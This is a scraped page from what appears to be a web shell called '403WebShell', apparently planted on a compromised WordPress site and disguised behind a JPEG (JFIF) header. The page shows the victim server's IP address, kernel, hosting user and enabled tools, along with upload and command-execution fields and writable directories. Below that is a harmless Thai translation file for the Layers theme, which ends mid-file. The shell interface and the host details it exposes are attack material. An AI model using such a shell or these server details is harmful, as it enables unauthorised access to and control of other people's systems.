????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.32.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/themes/layerswp/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/themes/layerswp/languages/th_TH.po
msgid ""
msgstr ""
"Project-Id-Version: Layers v1.0.6\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: \n"
"PO-Revision-Date: 2015-03-30 06:48:50+0000\n"
"Last-Translator: calyx <[email protected]>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: CSL v1.x\n"
"X-Poedit-Language: Thai\n"
"X-Poedit-Country: THAILAND\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2;\n"
"X-Poedit-Basepath: ../\n"
"X-Poedit-Bookmarks: \n"
"X-Poedit-SearchPath-0: .\n"
"X-Textdomain-Support: yes"

#: comments.php:29
#@ layerswp
msgid "Comments are closed."
msgstr "ส่วนแสดงความคิดเห็นปิดอยู่"

#: core/customizer/config.php:22
#@ layerswp
msgid "Branding"
msgstr "การสร้างแบรนด์"

#: core/customizer/config.php:26
#@ layerswp
msgid "Site Settings"
msgstr "ตั้งค่าหน้า"

#: core/customizer/config.php:27
#@ layerswp
msgid "Control your content's default layout."
msgstr "ตั้งค่ารูปแบบหลักของเนื้อหา"

#: core/customizer/config.php:31
#@ layerswp
msgid "Header"
msgstr "ส่วนหัว"

#: core/customizer/config.php:32
#@ layerswp
msgid "Control your header's logo, layout, colors and font."
msgstr "ควบคุมโลโก้ส่วนหัว, รูปแบบ, สี และแบบอักษร"

#: core/customizer/config.php:36
#@ layerswp
msgid "Footer"
msgstr "ส่วนท้าย"

#: core/customizer/config.php:37
#@ layerswp
msgid "Control your footer's custom text, widget areas and layout."
msgstr "ควบคุมส่วนท้าย ตั้งค้าอักษร, ส่วนวิดเจ็ด  และรูปแบบ"

#: core/customizer/config.php:41
#@ layerswp
msgid "WooCommerce"
msgstr "วูคอมเมิส"

#: core/customizer/config.php:58
#@ layerswp
msgid "Logo &amp; Title"
msgstr "โลโก้ &amp; หัวเรื่อง"

#: core/customizer/config.php:63
#: core/customizer/config.php:257
#: core/customizer/config.php:385
#: core/helpers/forms.php:341
#: core/helpers/forms.php:416
#@ layerswp
msgid "Background Color"
msgstr "สีพื้นหลัง"

#: core/customizer/config.php:90
#@ layerswp
msgid "Navigation"
msgstr "ตัวนำทาง"

#: core/customizer/config.php:91
#@ layerswp
msgid "First create a menu then come back here to place it."
msgstr "เริ่มแรกให้ทำการสร้างเมนูจากนั้นกลับมาที่นี่เพื่อวางมัน"

#: core/customizer/config.php:96
#: core/customizer/config.php:112
#: core/customizer/config.php:120
#: core/helpers/design-bar.php:214
#: core/widgets/modules/slider.php:339
#@ layerswp
msgid "Layout"
msgstr "รูปแบบ"

#: core/customizer/config.php:100
#: core/customizer/config.php:136
#@ layerswp
msgid "Sidebars"
msgstr "แถบข้าง"

#: core/customizer/config.php:104
#@ layerswp
msgid "Fonts"
msgstr "แบบอักษร"

#: core/customizer/config.php:109
#@ layerswp
msgid "CSS"
msgstr "ซีเอสเอส"

#: core/customizer/config.php:116
#: core/customizer/config.php:132
#@ layerswp
msgid "Additional Scripts"
msgstr "สคริปเพิ่มเติม"

#: core/customizer/config.php:124
#@ layerswp
msgid "Customization"
msgstr "ปรับแต่ง"

#: core/customizer/config.php:128
#: core/customizer/config.php:359
#: core/helpers/design-bar.php:530
#@ layerswp
msgid "Text"
msgstr "ข้อความ"

#: core/customizer/config.php:156
#@ layerswp
msgid "Create Menu"
msgstr "สร้างเมนู"

#: core/customizer/config.php:176
#@ layerswp
msgid "Typekit ID"
msgstr "ไทพ์คิท ไอดี"

#: core/customizer/config.php:177
#, php-format
#@ layerswp
msgid "For more information on obtaining your Typekit ID, see <a href=\"%s\" target=\"_blank\">follow this link</a>."
msgstr "สำหรับข้อมูลเพิ่มเติมในการรับไทพ์คิท ไอดี, สามารถดูได้ที่ <a href=\"%s\" target=\"_blank\">"

#: core/customizer/config.php:184
#@ layerswp
msgid "Body"
msgstr "ส่วนร่าง"

#: core/customizer/config.php:193
#@ layerswp
msgid "Headings"
msgstr "หัว"

#: core/customizer/config.php:202
#@ layerswp
msgid "Buttons"
msgstr "ปุ่ม"

#: core/customizer/config.php:212
#@ layerswp
msgid "Header Width"
msgstr "ความกว้างส่วนหัว"

#: core/customizer/config.php:215
#: core/customizer/config.php:324
#: core/helpers/design-bar.php:227
#: core/widgets/modules/slider.php:349
#@ layerswp
msgid "Boxed"
msgstr "กล่อง"

#: core/customizer/config.php:216
#: core/customizer/config.php:325
#: core/helpers/design-bar.php:228
#: core/widgets/modules/slider.php:350
#@ layerswp
msgid "Full Width"
msgstr "ความกว้างเต็ม"

#: core/customizer/config.php:224
#@ layerswp
msgid "Logo & Menu Position"
msgstr "ตำแหน่งโลโก้ & เมนู"

#: core/customizer/config.php:227
#@ layerswp
msgid "Logo Left"
msgstr "โลโก้ซ้าย"

#: core/customizer/config.php:228
#@ layerswp
msgid "Logo Right"
msgstr "โลโก้ขวา"

#: core/customizer/config.php:229
#@ layerswp
msgid "Logo Center Top"
msgstr "โลโก้บนกลาง"

#: core/customizer/config.php:230
#@ layerswp
msgid "Logo Top"
msgstr "โลโก้บน"

#: core/customizer/config.php:231
#@ layerswp
msgid "Logo Center"
msgstr "โลโก้กลาง"

#: core/customizer/config.php:239
#@ layerswp
msgid "Header Position"
msgstr "ตำแหน่งส่วนหัว"

#: core/customizer/config.php:243
#@ layerswp
msgid "Sticky"
msgstr "ติด"

#: core/customizer/config.php:249
#: core/widgets/modules/post.php:332
#@ layerswp
msgid "Overlay"
msgstr "ทับ"

#: core/customizer/config.php:266
#@ layerswp
msgid "Google Analytics ID"
msgstr "กูเกิ้ล อนาไลน์ทิค ไอดีั"

#: core/customizer/config.php:267
#@ layerswp
msgid "Enter in your Google Analytics ID to enable website traffic reporting. eg. \"UA-xxxxxx-xx"
msgstr "ใส่กูเกิ้ล อนาไลน์ทิค ไอดีของคุณเพื่อแสดงค่ารายงานการเข้าชมเว็บไซต์"

#: core/customizer/config.php:275
#: core/customizer/config.php:432
#@ layerswp
msgid "Custom Scripts"
msgstr "สคริปปรับแต่ง"

#: core/customizer/config.php:276
#@ layerswp
msgid "Enter in any custom script to include in your site's header. Be sure to use double quotes for strings."
msgstr "ใส่สคริปปรับแต่งใดๆก็ได้ในส่วนหัวของหน้า ให้มั่นใจว่าได้ใช้เครื่องหมายฟันหนูสำหรับสตริง"

#: core/customizer/config.php:284
#@ layerswp
msgid "Single Post Sidebar(s)"
msgstr "แถบข้างแบบเดี่ยวเดี่ยว"

#: core/customizer/config.php:285
#@ layerswp
msgid "This option affects your single post pages."
msgstr "การปรับแต่งนี้จะมีผลกับหน้าโพสเดี่ยวของคุณ"

#: core/customizer/config.php:289
#: core/customizer/config.php:307
#: core/customizer/config.php:448
#: core/customizer/config.php:466
#@ layerswp
msgid "Display Left Sidebar"
msgstr "แสดงแถบด้านซ้าย"

#: core/customizer/config.php:294
#: core/customizer/config.php:312
#: core/customizer/config.php:453
#: core/customizer/config.php:471
#@ layerswp
msgid "Display Right Sidebar"
msgstr "แสดงแถบด้านขวา"

#: core/customizer/config.php:302
#@ layerswp
msgid "Post List Sidebar(s)"
msgstr "แถบข้างรายการโพส"

#: core/customizer/config.php:303
#@ layerswp
msgid "This option affects your category, tag, author and search pages."
msgstr "การปรับแต่งนี้จะมีผลกับหมวดหมู่ แท๊ก ชื่อผู้เขียน และหน้าค้นหา"

#: core/customizer/config.php:333
#@ layerswp
msgid "Widget Areas"
msgstr "ส่วนของวิทเจ็ด"

#: core/customizer/config.php:337
#: core/helpers/design-bar.php:459
#: core/helpers/design-bar.php:504
#@ layerswp
msgid "None"
msgstr "ไม่มี"

#: core/customizer/config.php:338
#@ layerswp
msgid "1"
msgstr "1"

#: core/customizer/config.php:339
#@ layerswp
msgid "2"
msgstr "2"

#: core/customizer/config.php:340
#@ layerswp
msgid "3"
msgstr "3"

#: core/customizer/config.php:341
#@ layerswp
msgid "4"
msgstr "4"

#: core/customizer/config.php:348
#@ layerswp
msgid "Support Layers"
msgstr "เลเยอร์สนับสนุน"

#: core/customizer/config.php:349
#@ layerswp
msgid "Support Layers by displaying the Layers badge on your site."
msgstr "เลเยอร์สนับสนุนโดยแสดงเครื่องหมายเลเยอร์บนหน้าของคุณ"

#: core/customizer/config.php:363
#@ layerswp
msgid "Text Color"
msgstr "สีข้อความ"

#: core/customizer/config.php:368
#@ layerswp
msgid "Link Color"
msgstr "สี"

#: core/customizer/config.php:376
#: core/helpers/design-bar.php:593
#@ layerswp
msgid "Background"
msgstr "พื้นหลัง"

#: core/customizer/config.php:380
#: core/helpers/design-bar.php:599
#@ layerswp
msgid "Background Image"
msgstr "ภาพพื้นหลัง"

#: core/customizer/config.php:391
#@ layerswp
msgid "Background Repeat"
msgstr "ทำซ้ำพื้นหลัง"

#: core/customizer/config.php:394
#: core/helpers/design-bar.php:619
#@ layerswp
msgid "No Repeat"
msgstr "ไม่ทำซ้ำ"

#: core/customizer/config.php:395
#: core/helpers/design-bar.php:614
#: core/helpers/design-bar.php:620
#@ layerswp
msgid "Repeat"
msgstr "ทำซ้ำ"

#: core/customizer/config.php:396
#: core/helpers/design-bar.php:621
#@ layerswp
msgid "Repeat Horizontal"
msgstr "ทำซ้ำแนวนอน"

#: core/customizer/config.php:397
#: core/helpers/design-bar.php:622
#@ layerswp
msgid "Repeat Vertical"
msgstr "ทำซ้ำแนวตั้ง"

#: core/customizer/config.php:402
#@ layerswp
msgid "Background Position"
msgstr "ตำแหน่งพื้นหลัง"

#: core/customizer/config.php:405
#: core/helpers/design-bar.php:360
#: core/helpers/design-bar.php:545
#: core/helpers/design-bar.php:632
#@ layerswp
msgid "Center"
msgstr "กลาง"

#: core/customizer/config.php:406
#: core/helpers/design-bar.php:403
#: core/helpers/design-bar.php:633
#: core/helpers/forms.php:491
#@ layerswp
msgid "Top"
msgstr "บน"

#: core/customizer/config.php:407
#: core/helpers/design-bar.php:634
#: core/helpers/forms.php:493
#@ layerswp
msgid "Bottom"
msgstr "ล่าง"

#: core/customizer/config.php:408
#: core/helpers/design-bar.php:359
#: core/helpers/design-bar.php:401
#: core/helpers/design-bar.php:544
#: core/helpers/design-bar.php:635
#: core/helpers/forms.php:494
#@ layerswp
msgid "Left"
msgstr "ซ้าย"

#: core/customizer/config.php:409
#: core/helpers/design-bar.php:361
#: core/helpers/design-bar.php:402
#: core/helpers/design-bar.php:546
#: core/helpers/design-bar.php:636
#: core/helpers/forms.php:492
#@ layerswp
msgid "Right"
msgstr "ขวา"

#: core/customizer/config.php:413
#@ layerswp
msgid "Background Stretch"
msgstr "ยืดพื้นหลัง"

#: core/customizer/config.php:423
#@ layerswp
msgid "Copyright Text"
msgstr "ข้อความลิขสิทธิ์"

#: core/customizer/config.php:433
#@ layerswp
msgid "Enter in any custom script to include in your site's footer. Be sure to use double quotes for strings."
msgstr "ใส่สคริปปรับแต่งใดๆก็ได้ในส่วนท้ายของหน้า ให้มั่นใจว่าได้ใช้เครื่องหมายฟันหนูสำหรับสตริง"

#: core/customizer/config.php:443
#@ layerswp
msgid "Single Product Sidebar(s)"
msgstr "แถบข้างหน้าสินค้าเดี่ยว"

#: core/customizer/config.php:444
#@ layerswp
msgid "This option affects your single product pages."
msgstr "การปรับแต่งนี้จะส่งผลกับหน้าสินค้าเดี่ยวของคุณ"

#: core/customizer/config.php:461
#@ layerswp
msgid "Product List Sidebar(s)"
msgstr "แถบข้างรายการสินค้า"

#: core/customizer/config.php:462
#@ layerswp
msgid "This option affects your shop page, product category and product tag pages."
msgstr "การปรับแต่งนี้จะมีผลกับหน้าขายสินค้า, หมวดหมู่สินค้า และหน้าแท๊กสินค้า"

#: core/customizer/controls/font.php:51
#, php-format
#@ layerswp
msgid "<em>Click <a href=\"%1s\" target=\"_blank\">here</a> to see this font on Google Fonts.</em>"
msgstr "<em>เลือก <a href=\"%1s\" target=\"_blank\">here</a> เพื่อดูแบบอักษรนี้บนแบบอักษรกูเกิ้ล</em>"

#: core/customizer/controls/select-images.php:36
#@ layerswp
msgid "Choose Background"
msgstr "เลือกพื้นหลัง"

#: core/customizer/init.php:71
#: core/helpers/post.php:338
#: core/meta/init.php:183
#: core/options-panel/partials/dashboard.php:39
#@ layerswp
msgid "Edit Layout"
msgstr "แก้ไขรูปแบบ"

#: core/customizer/init.php:72
#@ layerswp
msgid "Use this area to add widgets to your page, use the (Layers) widgets for the Body section."
msgstr "ใช้ส่วนนี้เพื่อเพิ่มวิทเจ็ดให้กับหน้าของคุณ, ใช้(รูปแบบ)วิทเจ็ดสำหรับส่วนของร่าง"

#: core/customizer/init.php:167
#@ layerswp
msgid "Builder Pages:"
msgstr "หน้าผู้สร้าง:"

#: core/customizer/init.php:190
#: core/customizer/init.php:204
#@ layerswp
msgid "Layers Dashboard"
msgstr "กระดานเลเยอร์"

#: core/customizer/init.php:194
#@ layerswp
msgid "Preview this page"
msgstr "ดูตัวอย่างหน้า"

#: core/customizer/init.php:199
#@ layerswp
msgid "Add new Layers page"
msgstr "เพิ่มหน้าเลเยอร์ใหม่"

#: core/helpers/api.php:41
#@ layerswp
msgid "WooCommerce for Layers"
msgstr "วูคอมเมิสสำหรับเลเยอร์"

#: core/helpers/api.php:42
#@ layerswp
msgid "Adds an advanced product widget, product slider and multiple page layouts."
msgstr "เพิ่มวิทเจ็ดสินค้าขั้นสูง, สไลด์สินค้า และรูปแบบหน้าหลายหน้า"

#: core/helpers/api.php:48
#@ layerswp
msgid "Showcase for Layers"
msgstr "แสดงเลเยอร์"

#: core/helpers/api.php:49
#@ layerswp
msgid "List your portfolio items with relevant meta such as client, web url and project role."
msgstr "รายการข้อมูลส่วนตัวของคุณที่เกี่ยวข้องเช่น ลูกค้า, ที่อยู่เว็บไซต์และหน้าที่โครงการ"

#: core/helpers/custom-fonts.php:111
#@ layerswp
msgid "Default"
msgstr "ค่ามาตรฐาน"

#: core/helpers/design-bar.php:254
#: core/widgets/modules/content.php:315
#@ layerswp
msgid "List Style"
msgstr "รูปแบบรายการ"

#: core/helpers/design-bar.php:267
#: core/widgets/modules/content.php:324
#@ layerswp
msgid "Grid"
msgstr "ตาราง"

#: core/helpers/design-bar.php:268
#@ layerswp
msgid "List"
msgstr "รายการ"

#: core/helpers/design-bar.php:269
#: core/widgets/modules/content.php:325
#@ layerswp
msgid "Masonry"
msgstr "ก่อสร้าง"

#: core/helpers/design-bar.php:295
#: core/helpers/design-bar.php:304
#@ layerswp
msgid "Columns"
msgstr "แถว"

#: core/helpers/design-bar.php:309
#@ layerswp
msgid "1 Column"
msgstr "1 แถว"

#: core/helpers/design-bar.php:310
#@ layerswp
msgid "2 Columns"
msgstr "2 แถว"

#: core/helpers/design-bar.php:311
#@ layerswp
msgid "3 Columns"
msgstr "3 แถว"

#: core/helpers/design-bar.php:312
#@ layerswp
msgid "4 Columns"
msgstr "4 แถว"

#: core/helpers/design-bar.php:313
#@ layerswp
msgid "6 Columns"
msgstr "6 แถว"

#: core/helpers/design-bar.php:318
#: core/widgets/modules/content.php:330
#@ layerswp
msgid "Gutter"
msgstr "รางน้ำ"

#: core/helpers/design-bar.php:346
#: core/helpers/design-bar.php:539
#@ layerswp
msgid "Text Align"
msgstr "จัดตำแหน่งข้อความ"

#: core/helpers/design-bar.php:362
#: core/helpers/design-bar.php:547
#@ layerswp
msgid "Justify"
msgstr "จัดบรรทัดให้เท่ากัน"

#: core/helpers/design-bar.php:388
#@ layerswp
msgid "Image Align"
msgstr "จัดตำแหน่งภาพ"

#: core/helpers/design-bar.php:429
#: core/helpers/design-bar.php:438
#@ layerswp
msgid "Featured Image"
msgstr "ภาพแนะนำ"

#: core/helpers/design-bar.php:445
#@ layerswp
msgid "Video URL (oEmbed)"
msgstr "ที่ิอยู่วีดีโอ (oEmbed)"

#: core/helpers/design-bar.php:456
#: core/helpers/design-bar.php:501
#@ layerswp
msgid "Portrait"
msgstr "แนวตั้ง"

#: core/helpers/design-bar.php:457
#: core/helpers/design-bar.php:502
#@ layerswp
msgid "Landscape"
msgstr "แนวนอน"

#: core/helpers/design-bar.php:458
#: core/helpers/design-bar.php:503
#@ layerswp
msgid "Square"
msgstr "เหลี่ยม"

#: core/helpers/design-bar.php:460
#@ layerswp
msgid "Round"
msgstr "กลม"

#: core/helpers/design-bar.php:488
#@ layerswp
msgid "Image Ratio"
msgstr "หมุนภาพ"

#: core/helpers/design-bar.php:554
#@ layerswp
msgid "Text Size"
msgstr "ขนาดข้อความ"

#: core/helpers/design-bar.php:559
#@ layerswp
msgid "Small"
msgstr "เล็ก"

#: core/helpers/design-bar.php:560
#@ layerswp
msgid "Medium"
msgstr "กลาง"

#: core/helpers/design-bar.php:561
#@ layerswp
msgid "Large"
msgstr "ใหญ่"

#: core/helpers/design-bar.php:600
#: core/helpers/forms.php:252
#@ layerswp
msgid "Choose Image"
msgstr "เลือกภาพ"

#: core/helpers/design-bar.php:607
#@ layerswp
msgid "Color"
msgstr "สี"

#: core/helpers/design-bar.php:627
#@ layerswp
msgid "Position"
msgstr "ตำแหน่ง"

#: core/helpers/design-bar.php:641
#@ layerswp
msgid "Stretch"
msgstr "ยืด"

#: core/helpers/design-bar.php:648
#@ layerswp
msgid "Darken"
msgstr "มืดขึ้น"

#: core/helpers/design-bar.php:676
#@ layerswp
msgid "Advanced"
msgstr "นำหน้า"

#: core/helpers/design-bar.php:682
#@ layerswp
msgid "Custom Class(es)"
msgstr "คลาสปรับแต่ง(es)"

#: core/helpers/design-bar.php:690
#@ layerswp
msgid "Custom CSS"
msgstr "ซีเอสเอสปรับแต่ง"

#: core/helpers/design-bar.php:698
#@ layerswp
msgid "Padding (px)"
msgstr "ระยะห่าง (px)"

#: core/helpers/design-bar.php:705
#@ layerswp
msgid "Margin (px)"
msgstr "ขอบ (px)"

#: core/helpers/design-bar.php:712
#@ layerswp
msgid "Widget Anchor ID"
msgstr "ไอดีสมอวิทเจ็ด"

#: core/helpers/forms.php:22
#@ layerswp
msgid "Widget"
msgstr "วิทเจ็ด"

#: core/helpers/forms.php:99
#@ layerswp
msgid "Newest First"
msgstr "เรียงจากใหม่สุดก่อน"

#: core/helpers/forms.php:100
#@ layerswp
msgid "Oldest First"
msgstr "เรียงจากเก่าสุดก่อน"

#: core/helpers/forms.php:101
#@ layerswp
msgid "Random"
msgstr "สุ่ม"

#: core/helpers/forms.php:102
#@ layerswp
msgid "Titles A-Z"
msgstr "เรียงจากอักษร A-Z"

#: core/helpers/forms.php:103
#@ layerswp
msgid "Titles Z-A"
msgstr "เรียงจากอักษร Z-A"

#: core/helpers/forms.php:104
#@ layerswp
msgid "Most Comments"
msgstr "มีความคิดเห็นมากที่สุด"

#: core/helpers/forms.php:105
#@ layerswp
msgid "Custom Order"
msgstr "เรียงแบบปรับแต่งเอง"

#: core/helpers/forms.php:229
#@ layerswp
msgid "Visual Mode"
msgstr "โหมดเห็นภาพ"

#: core/helpers/forms.php:230
#: core/helpers/forms.php:231
#@ layerswp
msgid "HTML Mode"
msgstr "โหมดเฮชทีเอ็มเอล"

#: core/helpers/forms.php:246
#: core/helpers/forms.php:278
#: core/helpers/forms.php:317
#@ layerswp
msgid "Remove"
msgstr "ลบออก"

#: core/helpers/forms.php:250
#@ layerswp
msgid "Select an Image"
msgstr "เลือกภาพ"

#: core/helpers/forms.php:251
#@ layerswp
msgid "Use Image"
msgstr "ใช้ภาพ"

#: core/helpers/forms.php:274
#@ layerswp
msgid "Select a File"
msgstr "เลือกไฟล์"

#: core/helpers/forms.php:274
#@ layerswp
msgid "Use File"
msgstr "ใช้ไฟล์"

#: core/helpers/forms.php:275
#@ layerswp
msgid "Choose a File"
msgstr "เลือกไฟล์"

#: core/helpers/forms.php:321
#, php-format
#@ layerswp
msgid "Drop a file here or %s"
msgstr "โยนไฟล์ลงที่นี่หรือ%s"

#: core/helpers/forms.php:360
#: core/helpers/forms.php:435
#@ layerswp
msgid "Darken to improve readability"
msgstr "ทำให้มืดขึ้นเพื่อให้อ่านได้ง่ายขึ้น"

#: core/helpers/forms.php:371
#: core/helpers/forms.php:446
#@ layerswp
msgid "Tile Background"
msgstr "เรียงพื้นหลัง"

#: core/helpers/forms.php:382
#: core/helpers/forms.php:457
#@ layerswp
msgid "Fixed Background"
msgstr "พื้นหลังแบบกำหนด"

#: core/helpers/forms.php:393
#@ layerswp
msgid "Enter your .mp4 link"
msgstr "ใส่ที่อยู่ .mp4 ของคุณ"

#: core/helpers/forms.php:404
#@ layerswp
msgid "Enter your .ogv link"
msgstr "ใส่ที่อยู่ .ogv ของคุณ"

#: core/helpers/migrator.php:102
#@ layerswp
msgid "Application"
msgstr "แอพพลิเคชั่น"

#: core/helpers/migrator.php:108
#@ layerswp
msgid "Contact Page"
msgstr "หน้าติดต่อ"

#: core/helpers/migrator.php:114
#@ layerswp
msgid "Landing Page"
msgstr "หน้าที่ลงจอด"

#: core/helpers/migrator.php:120
#@ layerswp
msgid "Lookbook Page"
msgstr "หน้าดูหนังสือ"

#: core/helpers/migrator.php:126
#@ layerswp
msgid "One Pager"
msgstr "หน้าเดียว"

#: core/helpers/migrator.php:132
#@ layerswp
msgid "Portfolio Page"
msgstr "หน้าข้อมูลส่วนตัว"

#: core/helpers/migrator.php:138
#@ layerswp
msgid "Video Page"
msgstr "หน้าวีดีโอ"

#: core/helpers/migrator.php:144
#@ layerswp
msgid "Blank Page"
msgstr "หน้าว่าง"

#: core/helpers/migrator.php:591
#@ layerswp
msgid "(Copy)"
msgstr "(คัดลอก)"

#: core/helpers/migrator.php:649
#: core/options-panel/partials/get-started.php:326
#: core/options-panel/partials/get-started.php:327
#@ layerswp
msgid "Home Page"
msgstr "หน้าหลัก"

#: core/helpers/migrator.php:724
#@ layerswp
msgid "Sidebar does not exist in theme (using Inactive)"
msgstr "ในธีมนี้ไม่มีแถวข้าง(ไม่มีการใช้งาน)"

#: core/helpers/migrator.php:766
#@ layerswp
msgid "Widget already exists"
msgstr "มีวิทเจ็ดนี้อยู่แล้ว"

#: core/helpers/migrator.php:815
#@ layerswp
msgid "Imported"
msgstr "นำเข้า"

#: core/helpers/migrator.php:818
#@ layerswp
msgid "Imported to Inactive"
msgstr "นำเข้าเพื่อไม่มีการใช้งาน"

#: core/helpers/migrator.php:824
#@ layerswp
msgid "No Title"
msgstr "ไม่มีหัวเรื่อง"

#: core/helpers/post.php:56
#, php-format
#@ layerswp
msgid "View all posts in %s"
msgstr "ดูโพสทั้งหมดใน %s"

#: core/helpers/post.php:58
#: core/helpers/post.php:77
#@ layerswp
msgid ", "
msgstr ", "

#: core/helpers/post.php:75
#, php-format
#@ layerswp
msgid "View all posts tagged %s"
msgstr "ดูโพสทั้งหมดที่ติดแท๊ก %s"

#: core/helpers/post.php:98
#, php-format
#@ layerswp
msgid "<a href=\"%1$s\" title=\"%2$s\" rel=\"author\">%3$s</a>"
msgstr "<a href=\"%1$s\" title=\"%2$s\" rel=\"author\">%3$s</a>"

#: core/helpers/post.php:100
#, php-format
#@ layerswp
msgid "View all posts by %s"
msgstr "ดูโพสทั้งหมดโดย  %s"

#: core/helpers/post.php:123
#@ layerswp
msgid "(Edit)"
msgstr "(แก้ไข)"

#: core/helpers/post.php:129
#, php-format
#@ layerswp
msgid "%1$s at %2$s"
msgstr "%1$s ที่ %2$s"

#: core/helpers/post.php:135
#@ layerswp
msgid "Your comment is awaiting moderation."
msgstr "ความคิดเห็นของคุณกำลังรอการกลั่นกรอง"

#: core/helpers/post.php:157
#@ layerswp
msgid "You shall not pass"
msgstr "คุณไม่สามารถผ่านได้"

#: core/helpers/template.php:24
#@ layerswp
msgid "Home"
msgstr "บ้าน"

#: core/helpers/template.php:35
#: core/helpers/template.php:304
#@ layerswp
msgid "Search"
msgstr "ค้นหา"

#: core/helpers/template.php:45
#: core/helpers/template.php:329
#@ layerswp
msgid "Shop"
msgstr "ร้านค้า"

#: core/helpers/template.php:317
#, php-format
#@ layerswp
msgid "Daily Archives: %s"
msgstr "จดหมายเหตุรายวัน: %s"

#: core/helpers/template.php:319
#, php-format
#@ layerswp
msgid "Monthly Archives: %s"
msgstr "จดหมายเหตุรายเดือน: %s"

#: core/helpers/template.php:319
#@ layerswp
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "เอฟ วาย"

#: core/helpers/template.php:321
#, php-format
#@ layerswp
msgid "Yearly Archives: %s"
msgstr "จดหมายเหตุรายปี: %s"

#: core/helpers/template.php:321
#@ layerswp
msgctxt "yearly archives date format"
msgid "Y"
msgstr "วาย"

#: core/helpers/template.php:334
#@ layerswp
msgid "Archives"
msgstr "จดหมายเหตุ"

#: core/helpers/template.php:1106
#@ layerswp
msgid "Your browser does not support the video tag."
msgstr "เบราเซอร์ของคุณไม่สนับสนุนแท๊กวีดีโอ"

#: core/meta/config.php:16
#@ layerswp
msgid ": Options"
msgstr "ปรับแต่ง"

#: core/meta/config.php:21
#@ layerswp
msgid "Rich Media"
msgstr "การโฆษณาแบบสมบูรณ์แบบ"

#: core/meta/config.php:24
#@ layerswp
msgid "Video URL"
msgstr "ที่อยู่วีดีโอ"

#: core/meta/init.php:161
#@ layerswp
msgid "You can drag and drop widgets, edit content and tweak the design. Click the button below to see your page come to life."
msgstr "คุณสามารถลากและวางวิทเจ็ด แก้ไขเนื้อหาและออกแบบ กดที่ปุ่มด้านล่างเพื่อดูหน้าของคุณออกมามีชีวิต"

#: core/meta/init.php:162
#@ layerswp
msgid "Edit Your Page"
msgstr "แก้ไขหน้าของคุณ"

#: core/meta/init.php:208
#@ layerswp
msgid "Build Your Page"
msgstr "สร้างหน้าของคุณ"

#: core/options-panel/ajax.php:56
#@ layerswp
msgid "No Logo uploaded"
msgstr "ไม่มีโลโก้อัพโหลด"

#: core/options-panel/ajax.php:90
#@ layerswp
msgid "Logo updated"
msgstr "โลโก้อัพเดท"

#: core/options-panel/ajax.php:94
#@ layerswp
msgid "There was an error when updating your logo."
msgstr "เกิดข้อผิดพลาดระหว่างการอัพโหลดโลโก้ของคุณ"

#: core/options-panel/ajax.php:102
#@ layerswp
msgid "Option updated"
msgstr "อัพเดทตัวเลือก"

#: core/options-panel/init.php:170
#: core/options-panel/init.php:171
#@ layerswp
msgid "Get Started"
msgstr "เริ่มกันเลย"

#: core/options-panel/init.php:180
#: core/options-panel/init.php:181
#: core/options-panel/partials/add-new-page.php:12
#: core/options-panel/partials/dashboard.php:48
#@ layerswp
msgid "Add New Page"
msgstr "เพิ่มหน้าใหม่"

#: core/options-panel/init.php:192
#: core/options-panel/init.php:193
#: core/options-panel/partials/dashboard.php:32
#@ layerswp
msgid "Layers Pages"
msgstr "หน้าเลเยอร์"

#: core/options-panel/init.php:202
#: core/options-panel/init.php:203
#@ layerswp
msgid "Customize"
msgstr "ปรับแต่ง"

#: core/options-panel/init.php:211
#: core/options-panel/init.php:212
#: core/options-panel/partials/backup.php:5
#@ layerswp
msgid "Backup"
msgstr "สำรอง"

#: core/options-panel/init.php:220
#: core/options-panel/partials/dashboard.php:8
#@ layerswp
msgid "Dashboard"
msgstr "กระดาน"

#: core/options-panel/partials/add-new-page.php:25
#@ layerswp
msgid "Add a page title"
msgstr "เพิ่มหัวเรื่องหน้า"

#: core/options-panel/partials/add-new-page.php:34
#: core/widgets/modules/contact.php:270
#: core/widgets/modules/content.php:362
#: core/widgets/modules/content.php:499
#: core/widgets/modules/post.php:444
#: core/widgets/modules/slider.php:515
#@ layerswp
msgid "Enter title here"
msgstr "เพิ่มหัวเรื่องที่นี่"

#: core/options-panel/partials/add-new-page.php:43
#@ layerswp
msgid "Proceed to Customizer"
msgstr "ดำเนินการปรับแต่ง"

#: core/options-panel/partials/add-new-page.php:46
#@ layerswp
msgid "Cancel"
msgstr "ยกเลิก"

#: core/options-panel/partials/backup.php:14
#@ layerswp
msgid "Backup your pages"
msgstr "สำรองหน้าของคุณไว้"

#: core/options-panel/partials/backup.php:16
#@ layerswp
msgid "Convert your Layers pages into regular WordPress pages, preserving the content you have worked so hard to create."
msgstr "แปลงหน้าเลเยอร์ของคุณไปเป็นหน้าเวิดเพลสธรรมดา เก็บเนื้อหาที่คุณได้สร้างมาอย่างยากละบากไว้"

#: core/options-panel/partials/backup.php:20
#@ layerswp
msgid "0%"
msgstr "0%"

#: core/options-panel/partials/backup.php:24
#@ layerswp
msgid "Backup my Pages Now"
msgstr "สำรองหน้าของฉันเดี๋ยวนี้"

#: core/options-panel/partials/backup.php:30
#@ layerswp
msgid "Backed Up Pages:"
msgstr "สำรองหน้า:"

#: core/options-panel/partials/dashboard.php:20
#@ layerswp
msgid "Start Using Layers"
msgstr "เริ่มใช้เลเยอร์"

#: core/options-panel/partials/dashboard.php:22
#@ layerswp
msgid "Follow the easy steps to creating amazing layouts quickly and easily. "
